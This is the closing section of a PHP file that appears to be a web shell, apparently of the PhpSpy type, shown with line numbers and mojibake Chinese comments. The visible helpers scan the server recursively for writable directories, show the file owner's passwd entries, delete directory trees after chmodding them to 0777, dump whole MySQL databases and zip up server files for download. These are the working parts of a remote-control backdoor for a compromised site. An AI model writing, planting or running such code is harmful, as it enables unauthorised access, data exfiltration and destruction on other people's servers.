	$mtime = explode(' ', microtime());
1426
	$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1427
	echo 'Processed in '.$totaltime.' second(s)';
1428
}
1429

    
1430
//???????ݿ?
1431
function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1432
	if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1433
		p('<h2>Can not connect to MySQL server</h2>');
1434
		exit;
1435
	}
1436
	if($link && $dbname) {
1437
		if (!@mysql_select_db($dbname, $link)) {
1438
			p('<h2>Database selected has error</h2>');
1439
			exit;
1440
		}
1441
	}
1442
	if($link && mysql_get_server_info() > '4.1') {
1443
		if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
1444
			q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1445
		}
1446
	}
1447
	return $link;
1448
}
1449

    
1450
// ȥ??ת???ַ?
1451
function s_array(&$array) {
1452
	if (is_array($array)) {
1453
		foreach ($array as $k => $v) {
1454
			$array[$k] = s_array($v);
1455
		}
1456
	} else if (is_string($array)) {
1457
		$array = stripslashes($array);
1458
	}
1459
	return $array;
1460
}
1461

    
1462
// ???HTML????
1463
function html_clean($content) {
1464
	$content = htmlspecialchars($content);
1465
	$content = str_replace("\n", "<br />", $content);
1466
	$content = str_replace("  ", "&nbsp;&nbsp;", $content);
1467
	$content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
1468
	return $content;
1469
}
1470

    
1471
// ??ȡȨ??
1472
function getChmod($filepath){
1473
	return substr(base_convert(@fileperms($filepath),10,8),-4);
1474
}
1475

    
1476
function getPerms($filepath) {
1477
	$mode = @fileperms($filepath);
1478
	if (($mode & 0xC000) === 0xC000) {$type = 's';}
1479
	elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
1480
	elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
1481
	elseif (($mode & 0x8000) === 0x8000) {$type = '-';} 
1482
	elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
1483
	elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
1484
	elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
1485
	else {$type = '?';}
1486

    
1487
	$owner['read'] = ($mode & 00400) ? 'r' : '-'; 
1488
	$owner['write'] = ($mode & 00200) ? 'w' : '-'; 
1489
	$owner['execute'] = ($mode & 00100) ? 'x' : '-'; 
1490
	$group['read'] = ($mode & 00040) ? 'r' : '-'; 
1491
	$group['write'] = ($mode & 00020) ? 'w' : '-'; 
1492
	$group['execute'] = ($mode & 00010) ? 'x' : '-'; 
1493
	$world['read'] = ($mode & 00004) ? 'r' : '-'; 
1494
	$world['write'] = ($mode & 00002) ? 'w' : '-'; 
1495
	$world['execute'] = ($mode & 00001) ? 'x' : '-'; 
1496

    
1497
	if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1498
	if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1499
	if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1500
 
1501
	return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
1502
}
1503

    
1504
function getUser($filepath)	{
1505
	if (function_exists('posix_getpwuid')) {
1506
		$array = @posix_getpwuid(@fileowner($filepath));
1507
		if ($array && is_array($array)) {
1508
			return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1509
		}
1510
	}
1511
	return '';
1512
}
1513

    
1514
// ɾ??Ŀ¼
1515
function deltree($deldir) {
1516
	$mydir=@dir($deldir);	
1517
	while($file=$mydir->read())	{ 		
1518
		if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { 
1519
			@chmod($deldir.'/'.$file,0777);
1520
			deltree($deldir.'/'.$file); 
1521
		}
1522
		if (is_file($deldir.'/'.$file)) {
1523
			@chmod($deldir.'/'.$file,0777);
1524
			@unlink($deldir.'/'.$file);
1525
		}
1526
	} 
1527
	$mydir->close(); 
1528
	@chmod($deldir,0777);
1529
	return @rmdir($deldir) ? 1 : 0;
1530
}
1531

    
1532
// ?????м?ı???ɫ?滻
1533
function bg() {
1534
	global $bgc;
1535
	return ($bgc++%2==0) ? 'alt1' : 'alt2';
1536
}
1537

    
1538
// ??ȡ??ǰ???ļ?ϵͳ·??
1539
function getPath($scriptpath, $nowpath) {
1540
	if ($nowpath == '.') {
1541
		$nowpath = $scriptpath;
1542
	}
1543
	$nowpath = str_replace('\\', '/', $nowpath);
1544
	$nowpath = str_replace('//', '/', $nowpath);
1545
	if (substr($nowpath, -1) != '/') {
1546
		$nowpath = $nowpath.'/';
1547
	}
1548
	return $nowpath;
1549
}
1550

    
1551
// ??ȡ??ǰĿ¼???ϼ?Ŀ¼
1552
function getUpPath($nowpath) {
1553
	$pathdb = explode('/', $nowpath);
1554
	$num = count($pathdb);
1555
	if ($num > 2) {
1556
		unset($pathdb[$num-1],$pathdb[$num-2]);
1557
	}
1558
	$uppath = implode('/', $pathdb).'/';
1559
	$uppath = str_replace('//', '/', $uppath);
1560
	return $uppath;
1561
}
1562

    
1563
// ???PHP???ò???
1564
function getcfg($varname) {
1565
	$result = get_cfg_var($varname);
1566
	if ($result == 0) {
1567
		return 'No';
1568
	} elseif ($result == 1) {
1569
		return 'Yes';
1570
	} else {
1571
		return $result;
1572
	}
1573
}
1574

    
1575
// ??麯?????
1576
function getfun($funName) {
1577
	return (false !== function_exists($funName)) ? 'Yes' : 'No';
1578
}
1579

    
1580
function GetList($dir){
1581
	global $dirdata,$j,$nowpath;
1582
	!$j && $j=1;
1583
	if ($dh = opendir($dir)) {
1584
		while ($file = readdir($dh)) {
1585
			$f=str_replace('//','/',$dir.'/'.$file);
1586
			if($file!='.' && $file!='..' && is_dir($f)){
1587
				if (is_writable($f)) {
1588
					$dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1589
					$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1590
					$dirdata[$j]['dirchmod']=getChmod($f);
1591
					$dirdata[$j]['dirperm']=getPerms($f);
1592
					$dirdata[$j]['dirlink']=ue($dir);
1593
					$dirdata[$j]['server_link']=$f;
1594
					$dirdata[$j]['client_link']=ue($f);
1595
					$j++;
1596
				}
1597
				GetList($f);
1598
			}
1599
		}
1600
		closedir($dh);
1601
		clearstatcache();
1602
		return $dirdata;
1603
	} else {
1604
		return array();
1605
	}
1606
}
1607

    
1608
function qy($sql) { 
1609
	//echo $sql.'<br>';
1610
	$res = $error = '';
1611
	if(!$res = @mysql_query($sql)) { 
1612
		return 0;
1613
	} else if(is_resource($res)) {
1614
		return 1; 
1615
	} else {
1616
		return 2;
1617
	}	
1618
	return 0;
1619
}
1620

    
1621
function q($sql) { 
1622
	return @mysql_query($sql);
1623
}
1624

    
1625
function fr($qy){
1626
	mysql_free_result($qy);
1627
}
1628

    
1629
function sizecount($size) {
1630
	if($size > 1073741824) {
1631
		$size = round($size / 1073741824 * 100) / 100 . ' G';
1632
	} elseif($size > 1048576) {
1633
		$size = round($size / 1048576 * 100) / 100 . ' M';
1634
	} elseif($size > 1024) {
1635
		$size = round($size / 1024 * 100) / 100 . ' K';
1636
	} else {
1637
		$size = $size . ' B';
1638
	}
1639
	return $size;
1640
}
1641

    
1642
// ѹ???????
1643
class PHPZip{
1644
	var $out='';
1645
	function PHPZip($dir)	{
1646
		if (@function_exists('gzcompress'))	{
1647
			$curdir = getcwd();
1648
			if (is_array($dir)) $filelist = $dir;
1649
			else{
1650
				$filelist=$this -> GetFileList($dir);//?ļ??б?
1651
				foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
1652
			}
1653
			if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
1654
			else chdir($curdir);
1655
			if (count($filelist)>0){
1656
				foreach($filelist as $filename){
1657
					if (is_file($filename)){
1658
						$fd = fopen ($filename, 'r');
1659
						$content = @fread ($fd, filesize($filename));
1660
						fclose ($fd);
1661
						if (is_array($dir)) $filename = basename($filename);
1662
						$this -> addFile($content, $filename);
1663
					}
1664
				}
1665
				$this->out = $this -> file();
1666
				chdir($curdir);
1667
			}
1668
			return 1;
1669
		}
1670
		else return 0;
1671
	}
1672

    
1673
	// ???ָ??Ŀ¼?ļ??б?
1674
	function GetFileList($dir){
1675
		static $a;
1676
		if (is_dir($dir)) {
1677
			if ($dh = opendir($dir)) {
1678
				while ($file = readdir($dh)) {
1679
					if($file!='.' && $file!='..'){
1680
						$f=$dir .'/'. $file;
1681
						if(is_dir($f)) $this->GetFileList($f);
1682
						$a[]=$f;
1683
					}
1684
				}
1685
				closedir($dh);
1686
			}
1687
		}
1688
		return $a;
1689
	}
1690

    
1691
	var $datasec      = array();
1692
	var $ctrl_dir     = array();
1693
	var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
1694
	var $old_offset   = 0;
1695

    
1696
	function unix2DosTime($unixtime = 0) {
1697
		$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
1698
		if ($timearray['year'] < 1980) {
1699
			$timearray['year']    = 1980;
1700
			$timearray['mon']     = 1;
1701
			$timearray['mday']    = 1;
1702
			$timearray['hours']   = 0;
1703
			$timearray['minutes'] = 0;
1704
			$timearray['seconds'] = 0;
1705
		} // end if
1706
		return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
1707
				($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
1708
	}
1709

    
1710
	function addFile($data, $name, $time = 0) {
1711
		$name = str_replace('\\', '/', $name);
1712

    
1713
		$dtime = dechex($this->unix2DosTime($time));
1714
		$hexdtime	= '\x' . $dtime[6] . $dtime[7]
1715
					. '\x' . $dtime[4] . $dtime[5]
1716
					. '\x' . $dtime[2] . $dtime[3]
1717
					. '\x' . $dtime[0] . $dtime[1];
1718
		eval('$hexdtime = "' . $hexdtime . '";');
1719
		$fr	= "\x50\x4b\x03\x04";
1720
		$fr	.= "\x14\x00";
1721
		$fr	.= "\x00\x00";
1722
		$fr	.= "\x08\x00";
1723
		$fr	.= $hexdtime;
1724

    
1725
		$unc_len = strlen($data);
1726
		$crc = crc32($data);
1727
		$zdata = gzcompress($data);
1728
		$c_len = strlen($zdata);
1729
		$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
1730
		$fr .= pack('V', $crc);
1731
		$fr .= pack('V', $c_len);
1732
		$fr .= pack('V', $unc_len);
1733
		$fr .= pack('v', strlen($name));
1734
		$fr .= pack('v', 0);
1735
		$fr .= $name;
1736
		$fr .= $zdata;
1737
		$fr .= pack('V', $crc);
1738
		$fr .= pack('V', $c_len);
1739
		$fr .= pack('V', $unc_len);
1740

    
1741
		$this -> datasec[] = $fr;
1742
		$new_offset = strlen(implode('', $this->datasec));
1743

    
1744
		$cdrec = "\x50\x4b\x01\x02";
1745
		$cdrec .= "\x00\x00";
1746
		$cdrec .= "\x14\x00";
1747
		$cdrec .= "\x00\x00";
1748
		$cdrec .= "\x08\x00";
1749
		$cdrec .= $hexdtime;
1750
		$cdrec .= pack('V', $crc);
1751
		$cdrec .= pack('V', $c_len);
1752
		$cdrec .= pack('V', $unc_len);
1753
		$cdrec .= pack('v', strlen($name) );
1754
		$cdrec .= pack('v', 0 );
1755
		$cdrec .= pack('v', 0 );
1756
		$cdrec .= pack('v', 0 );
1757
		$cdrec .= pack('v', 0 );
1758
		$cdrec .= pack('V', 32 );
1759
		$cdrec .= pack('V', $this -> old_offset );
1760
		$this -> old_offset = $new_offset;
1761
		$cdrec .= $name;
1762

    
1763
		$this -> ctrl_dir[] = $cdrec;
1764
	}
1765

    
1766
	function file() {
1767
		$data    = implode('', $this -> datasec);
1768
		$ctrldir = implode('', $this -> ctrl_dir);
1769
		return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .	pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
1770
	}
1771
}
1772

    
1773
// ???????ݿ?
1774
function sqldumptable($table, $fp=0) {
1775
	$tabledump = "DROP TABLE IF EXISTS $table;\n";
1776
	$tabledump .= "CREATE TABLE $table (\n";
1777

    
1778
	$firstfield=1;
1779

    
1780
	$fields = q("SHOW FIELDS FROM $table");
1781
	while ($field = mysql_fetch_array($fields)) {
1782
		if (!$firstfield) {
1783
			$tabledump .= ",\n";
1784
		} else {
1785
			$firstfield=0;
1786
		}
1787
		$tabledump .= "   $field[Field] $field[Type]";
1788
		if (!empty($field["Default"])) {
1789
			$tabledump .= " DEFAULT '$field[Default]'";
1790
		}
1791
		if ($field['Null'] != "YES") {
1792
			$tabledump .= " NOT NULL";
1793
		}
1794
		if ($field['Extra'] != "") {
1795
			$tabledump .= " $field[Extra]";
1796
		}
1797
	}
1798
	fr($fields);
1799

    
1800
	$keys = q("SHOW KEYS FROM $table");
1801
	while ($key = mysql_fetch_array($keys)) {
1802
		$kname=$key['Key_name'];
1803
		if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
1804
			$kname="UNIQUE|$kname";
1805
		}
1806
		if(!is_array($index[$kname])) {
1807
			$index[$kname] = array();
1808
		}
1809
		$index[$kname][] = $key['Column_name'];
1810
	}
1811
	fr($keys);
1812

    
1813
	while(list($kname, $columns) = @each($index)) {
1814
		$tabledump .= ",\n";
1815
		$colnames=implode($columns,",");
1816

    
1817
		if ($kname == "PRIMARY") {
1818
			$tabledump .= "   PRIMARY KEY ($colnames)";
1819
		} else {
1820
			if (substr($kname,0,6) == "UNIQUE") {
1821
				$kname=substr($kname,7);
1822
			}
1823
			$tabledump .= "   KEY $kname ($colnames)";
1824
		}
1825
	}
1826

    
1827
	$tabledump .= "\n);\n\n";
1828
	if ($fp) {
1829
		fwrite($fp,$tabledump);
1830
	} else {
1831
		echo $tabledump;
1832
	}
1833

    
1834
	$rows = q("SELECT * FROM $table");
1835
	$numfields = mysql_num_fields($rows);
1836
	while ($row = mysql_fetch_array($rows)) {
1837
		$tabledump = "INSERT INTO $table VALUES(";
1838

    
1839
		$fieldcounter=-1;
1840
		$firstfield=1;
1841
		while (++$fieldcounter<$numfields) {
1842
			if (!$firstfield) {
1843
				$tabledump.=", ";
1844
			} else {
1845
				$firstfield=0;
1846
			}
1847

    
1848
			if (!isset($row[$fieldcounter])) {
1849
				$tabledump .= "NULL";
1850
			} else {
1851
				$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
1852
			}
1853
		}
1854

    
1855
		$tabledump .= ");\n";
1856

    
1857
		if ($fp) {
1858
			fwrite($fp,$tabledump);
1859
		} else {
1860
			echo $tabledump;
1861
		}
1862
	}
1863
	fr($rows);
1864
	if ($fp) {
1865
		fwrite($fp,"\n");
1866
	} else {
1867
		echo "\n";
1868
	}
1869
}
1870

    
1871
function ue($str){
1872
	return urlencode($str);
1873
}
1874

    
1875
function p($str){
1876
	echo $str."\n";
1877
}
1878

    
1879
function tbhead() {
1880
	p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
1881
}
1882
function tbfoot(){
1883
	p('</table>');
1884
}
1885

    
1886
function makehide($name,$value=''){
1887
	p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
1888
}
1889

    
1890
function makeinput($arg = array()){
1891
	$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
1892
	$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
1893
	!$arg['type'] && $arg['type'] = 'text';
1894
	$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1895
	$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
1896
	if ($arg['newline']) {
1897
		p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
1898
	} else {
1899
		p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
1900
	}
1901
}
1902

    
1903
function makeselect($arg = array()){
1904
	if ($arg['onchange']) {
1905
		$onchange = 'onchange="'.$arg['onchange'].'"';
1906
	}
1907
	$arg['title'] = $arg['title'] ? $arg['title'] : '';
1908
	if ($arg['newline']) p('<p>');
1909
	p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
1910
		if (is_array($arg['option'])) {
1911
			foreach ($arg['option'] as $key=>$value) {
1912
				if ($arg['selected']==$key) {
1913
					p("<option value=\"$key\" selected>$value</option>");
1914
				} else {
1915
					p("<option value=\"$key\">$value</option>");
1916
				}
1917
			}
1918
		}
1919
	p("</select>");
1920
	if ($arg['newline']) p('</p>');
1921
}
1922
function formhead($arg = array()) {
1923
	!$arg['method'] && $arg['method'] = 'post';
1924
	!$arg['action'] && $arg['action'] = $self;
1925
	$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
1926
	!$arg['name'] && $arg['name'] = 'form1';
1927
	p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
1928
	if ($arg['title']) {
1929
		p('<h2>'.$arg['title'].' &raquo;</h2>');
1930
	}
1931
}
1932
	
1933
function maketext($arg = array()){
1934
	!$arg['cols'] && $arg['cols'] = 100;
1935
	!$arg['rows'] && $arg['rows'] = 25;
1936
	$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1937
	p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
1938
}
1939

    
1940
function formfooter($name = ''){
1941
	!$name && $name = 'submit';
1942
	p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
1943
	p('</form>');
1944
}
1945

    
1946
function formfoot(){
1947
	p('</form>');
1948
}
1949

    
1950
// ???Ժ???
1951
function pr($a) {
1952
	echo '<pre>';
1953
	print_r($a);
1954
	echo '</pre>';
1955
}
1956

    
1957
?>
    (1-1/1)